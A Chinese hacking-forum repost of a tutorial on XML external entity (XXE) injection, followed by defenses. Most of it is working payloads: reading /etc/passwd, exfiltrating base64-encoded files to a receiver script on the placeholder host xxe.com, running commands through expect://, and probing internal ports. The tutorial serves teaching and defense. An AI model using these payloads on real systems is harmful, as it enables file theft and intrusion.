搜索
查看: 589|回复: 0

XML实体注入漏洞的利用与学习

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-7-22 00:22:19 | 显示全部楼层 |阅读模式
转自:http://uknowsec.cn/posts/notes/X ... AD%A6%E4%B9%A0.html

前言
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题.
在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题
漏洞利用
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
测试代码使用simplexml_load_string函数解析body
  1. <?php
  2. $data = file_get_contents('php://input');
  3. $xml = simplexml_load_string($data);
  4. echo $xml->name;
  5. ?>
复制代码


漏洞测试漏洞测试方式1
有回显,直接读取文件
Payload:
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码



漏洞测试方式2
无回显,引用远程服务器上的XML文件读取文件
Payload:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root [
  3. <!ENTITY % remote SYSTEM "http://xxe.com/1.xml">
  4. %remote;]>
复制代码

将以下1.xml保存到WEB服务器下
1.xml


  1. <!ENTITY % a SYSTEM "file:///etc/passwd">
  2. <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c
复制代码


查看服务器access.log,可以看到访问日志
[/url]
漏洞测试方式3
在主机上放一个接收文件的php(get.php):
  1. <?php
  2. file_put_contents('01.txt', $_GET['xxe_local']);
  3. ?>
复制代码

1.xml内容:

  1. <!ENTITY % payload        SYSTEM         "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
  2. <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">
  3. %int;
  4. %trick;
复制代码


接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。
发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc/passwd并进行base64编码后传给get.php,最后保存到主机上
[/url]
查看01.txt
[/url]
XXE 危害
  • 读取任意文件
  • 执行系统命令
  • 探查内网端口
  • 攻击内网网站
读取任意文件
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码


执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令


  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "expect://id" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码


探测内网端口
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码

攻击内网网站
结合其他的漏洞比如:struts2

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码


防御XXE攻击
方案一、使用开发语言提供的禁用外部实体的方法

  1. PHP:
  2. libxml_disable_entity_loader(true);
  3. JAVA:
  4. DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
  5. dbf.setExpandEntityReferences(false);
  6. Python:
  7. from lxml import etree
  8. xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
复制代码
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
Reference

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表